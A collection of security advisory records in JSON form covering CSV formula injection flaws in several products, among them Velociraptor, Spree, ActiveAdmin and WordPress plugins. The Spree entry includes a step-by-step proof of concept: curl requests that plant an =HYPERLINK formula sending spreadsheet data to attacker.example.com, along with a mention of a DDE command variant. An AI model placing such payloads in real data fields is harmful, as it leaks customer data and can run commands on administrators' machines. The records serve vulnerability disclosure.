CWE-1236

{
  "affected": [],
  "aliases": [
    "CVE-2026-64955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T10:17:20Z",
    "severity": "MODERATE"
  },
  "details": "When Microsoft Excel imports a CSV file, it executes cells beginning with certain characters as formulas, giving such CSV files arbitrary execution.\u00a0\n\nVelociraptor fails to sanitize such cells when exporting to CSV from various places such as the GUI, offline collector or data exports.\n\nIt is not clear if the vulnerability is actually in Microsoft Excel treating a CSV data file as executable content, or if Velociraptor should be sanitizing the data to prevent Excel from executing it. However, since this is such a common use case for Velociraptor we decided to highlight it in an advisory.",
  "id": "GHSA-x3cx-8mg8-hcv2",
  "modified": "2026-08-12T12:32:54Z",
  "published": "2026-08-12T12:32:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64955"
    },
    {
      "type": "WEB",
      "url": "http://docs.velociraptor.app/announcements/advisories/cve-2026-64955"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-52612"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T12:16:24Z",
    "severity": "HIGH"
  },
  "details": "HCL iControl was affected by Export CSV - CSV Injection vulnerability. It is vulnerable to a reflected cross-site scripting vulnerability. This was caused by an insufficient sanitation of input parameters. .",
  "id": "GHSA-x53x-g43q-33f7",
  "modified": "2026-06-04T12:30:26Z",
  "published": "2026-06-04T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52612"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0131041"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-10460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236",
      "CWE-74"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-12T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "admin/include/operations.php (via admin/email-harvester.php) in Chadha PHPKB Standard Multi-Language 9 allows attackers to inject untrusted input inside CSV files via the POST parameter data.",
  "id": "GHSA-x63r-x798-gv8p",
  "modified": "2022-05-24T17:11:14Z",
  "published": "2022-05-24T17:11:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10460"
    },
    {
      "type": "WEB",
      "url": "https://antoniocannito.it/phpkb1#csv-injection-cve-2020-10460"
    },
    {
      "type": "WEB",
      "url": "http://antoniocannito.it/?p=137#csvinj"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-1539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-25T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Exports and Reports WordPress plugin before 0.9.2 does not sanitize and validate data when generating the CSV to export, which could lead to a CSV injection, by the use of Microsoft Excel DDE function, or to leak data via maliciously injected hyperlinks.",
  "id": "GHSA-x6c4-gw3r-222g",
  "modified": "2022-07-30T00:00:35Z",
  "published": "2022-07-26T00:01:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1539"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/50f70927-9677-4ba4-a388-0a41ed356523"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-51735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-28T15:16:01Z",
    "severity": "HIGH"
  },
  "details": "CSV formula injection vulnerability in HCL Technologies Ltd. Unica 12.0.0.",
  "id": "GHSA-x7g4-2jwr-pr3r",
  "modified": "2025-11-28T18:30:23Z",
  "published": "2025-11-28T15:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51735"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/ikpehlivan/4361fa808e04d884e4771be88e891ec2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-33256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-09T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CSV injection vulnerability on the login panel of ManageEngine ADSelfService Plus Version: 6.1 Build No: 6101 can be exploited by an unauthenticated user. The j_username parameter seems to be vulnerable and a reverse shell could be obtained if a privileged user exports \"User Attempts Audit Report\" as CSV file.",
  "id": "GHSA-x963-3p8c-j4m6",
  "modified": "2024-03-21T03:34:05Z",
  "published": "2022-05-24T19:10:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33256"
    },
    {
      "type": "WEB",
      "url": "https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.0"
            },
            {
              "fixed": "5.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.0"
            },
            {
              "fixed": "5.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T18:46:04Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nCSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted\nExport in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the\ncontext of the administrator\u0027s desktop, potentially exfiltrating data or executing OS commands\nvia DDE (Dynamic Data Exchange).\n\n---\n\n### Details\n\n#### Affected presenters and fields\n\n| Presenter | Path | User-controlled fields |\n|---|---|---|\n| `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` |\n\n#### Vulnerable code \u2014 `customer_presenter.rb` (representative example)\n\n```ruby\n# spree/core/app/presenters/spree/csv/customer_presenter.rb:36\u201353\ndef call\n  csv = [\n    customer.first_name,          # \u2190 written verbatim; may contain =HYPERLINK(...)\n    customer.last_name,           # \u2190 user-controlled\n    customer.email,              \n    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),\n    customer.address\u0026.company,    # \u2190 user-controlled\n    customer.address\u0026.address1,   # \u2190 user-controlled\n    customer.address\u0026.address2,   # \u2190 user-controlled\n    customer.address\u0026.city,       # \u2190 user-controlled\n    customer.address\u0026.state_text,\n    customer.address\u0026.state_abbr,\n    customer.address\u0026.country\u0026.name,\n    customer.address\u0026.country\u0026.iso,\n    customer.address\u0026.zipcode,\n    customer.phone,               # \u2190 user-controlled\n    customer.amount_spent_in(Spree::Store.current.default_currency),\n    customer.completed_orders.count,\n  ]\n  csv += metafields_for_csv(customer)\n  csv\nend\n```\n\n---\n\n### PoC\n\n**Precondition**: A Spree store with public customer registration enabled (default\nconfiguration). No special permissions required for the attacker.\n\n#### Step 1 \u2014 Register as a customer with an injected first name\n\n```bash\ncurl -X POST https://store.example.com/api/v3/store/customers \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-Spree-Api-Key: pk_\u003cpublishable_api_key\u003e\" \\\n  -d \u0027{\n    \"email\": \"attacker@evil.com\",\n    \"password\": \"password123\",\n    \"password_confirmation\": \"password123\",\n    \"first_name\": \"=HYPERLINK(\\\"http://attacker.example.com/exfil?d=\\\"\u0026B1,\\\"Click\\\")\",\n    \"last_name\": \"Smith\"\n  }\u0027\n```\n\n#### Step 2 \u2014 Admin triggers a customer export\n\n```bash\ncurl -X POST https://store.example.com/api/v3/admin/exports \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"type\": \"Spree::Exports::Customers\", \"record_selection\": \"all\"}\u0027\n```\n\n#### Step 3 \u2014 Admin polls until ready, then downloads\n\n```bash\n# Poll for completion\ncurl https://store.example.com/api/v3/admin/exports/\u003cexport_id\u003e \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n\n# Download\ncurl https://store.example.com/api/v3/admin/exports/\u003cexport_id\u003e/download \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\" \\\n  -o customers.csv\n```\n\n#### Step 4 \u2014 Verify injection in the raw CSV (without opening in Excel)\n\nOpen `customers.csv` in a text editor. The first data row will contain:\n\n```\n\"=HYPERLINK(\"\"http://attacker.example.com/exfil?d=\"\"\u0026B1,\"\"Click\"\")\",\"Smith\",\"attacker@evil.com\",...\n```\n\n#### Step 5 \u2014 Admin opens `customers.csv` in Microsoft Excel (Windows)\n\n- Excel warns about external data connections; if the administrator clicks **Enable**, the\n  `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=\u003cB1_value\u003e`.\n- Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain\n  email, address, and order total data for all exported customers.\n- With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess\n  is launched on the administrator\u0027s machine.\n\n---\n\n### Impact\n\n**Vulnerability class**: CSV / Formula Injection (CWE-1236)\n\n#### Who is impacted\n\n- **Administrators** who download and open export files in spreadsheet software are the\n  direct victims. Administrative accounts have access to all store data, payment method\n  configurations, customer PII, and full order history.\n\n#### Realistic attack chain\n\n| Step | Actor | Action | Privilege required |\n|---|---|---|---|\n| 1 | Attacker | Registers as customer | Public registration |\n| 2 | Attacker | Sets `first_name` to formula payload | None beyond registration |\n| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |\n| 4 | Admin | Opens CSV in Excel | None |\n| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |\n\n#### Data at risk\n\nAll data visible to the administrator in the spreadsheet at the time of opening, including:\n\n- All exported customer emails, names, addresses, phone numbers\n- Order totals and purchase history\n- Any other columns in the same export file",
  "id": "GHSA-xf4v-w5x5-pv79",
  "modified": "2026-06-04T18:46:04Z",
  "published": "2026-06-04T18:46:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/security/advisories/GHSA-xf4v-w5x5-pv79"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spree/spree"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.2.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.3.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Spree: CSV Formula Injection in Customer Export"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-37219"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-30T11:15:09Z",
    "severity": "HIGH"
  },
  "details": " Tadiran Telecom Composit - CWE-1236: Improper Neutralization of Formula Elements in a CSV File",
  "id": "GHSA-xg97-v2xv-3fx7",
  "modified": "2024-04-04T06:26:01Z",
  "published": "2023-07-30T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37219"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/Departments/faq/cve_advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-25983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-07T16:15:28Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Formula Elements in a CSV File vulnerability in WPOmnia KB Support.This issue affects KB Support: from n/a through 1.5.84.",
  "id": "GHSA-xhr4-jrvp-2fpc",
  "modified": "2026-04-28T21:33:01Z",
  "published": "2023-11-15T21:35:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25983"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/kb-support/wordpress-kb-support-wordpress-help-desk-plugin-1-5-84-csv-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "activeadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-51763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-28T18:45:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIn ActiveAdmin versions prior to 3.2.0, maliciously crafted spreadsheet formulas could be uploaded as part of admin data that, when exported to a CSV file and the imported to a spreadsheet program like libreoffice, could lead to remote code execution and private data exfiltration.\n\nThe attacker would need privileges to upload data to the same ActiveAdmin application as the victim, and would need the victim to possibly ignore security warnings from their spreadsheet program.\n\n### Patches\n\nVersions 3.2.0 and above fixed the problem by escaping any data starting with `=` and other characters used by spreadsheet programs.\n\n### Workarounds\n\nOnly turn on formula evaluation in spreadsheet programs when importing CSV after explicitly reviewing the file.  \n\n### References\n\nhttps://owasp.org/www-community/attacks/CSV_Injection\nhttps://github.com/activeadmin/activeadmin/pull/8167",
  "id": "GHSA-xhvv-3jww-c487",
  "modified": "2023-12-28T18:45:30Z",
  "published": "2023-12-28T18:45:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/activeadmin/activeadmin/security/advisories/GHSA-xhvv-3jww-c487"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/activeadmin/activeadmin/pull/8167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/activeadmin/activeadmin/commit/7af735cf657c73734fca1900cd6a5adac4ee706e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/activeadmin/activeadmin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/activeadmin/activeadmin/releases/tag/v3.2.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activeadmin/CVE-2023-51763.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ActiveAdmin CSV Injection leading to sensitive information disclosure"
}